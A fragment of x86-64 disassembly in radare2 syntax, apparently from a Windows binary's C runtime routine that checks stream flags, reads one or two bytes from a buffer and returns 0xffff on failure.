call fcn.14002a6b0
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x14003314f
lea rdx, [0x140053270]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14003315d
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x140033181
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x140033181
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x140033181
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x14003319f
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x1400331aa
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x1400331c6
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x140033040